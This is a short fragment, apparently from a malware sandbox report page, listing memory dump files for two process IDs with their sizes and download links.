memory/4404-153-0x000001FEEE796000-0x000001FEEE798000-memory.dmp

Filesize
8KB

Download
memory/4404-151-0x000001FEEE790000-0x000001FEEE792000-memory.dmp

Filesize
8KB

Download
memory/4404-150-0x00007FFCF4170000-0x00007FFCF4C31000-memory.dmp

Filesize
10.8MB

Download
memory/4404-149-0x000001FED6280000-0x000001FED62A2000-memory.dmp

Filesize
136KB

Download
memory/4404-148-0x0000000000000000-mapping.dmp

Download
memory/5068-157-0x0000000000000000-mapping.dmp

Download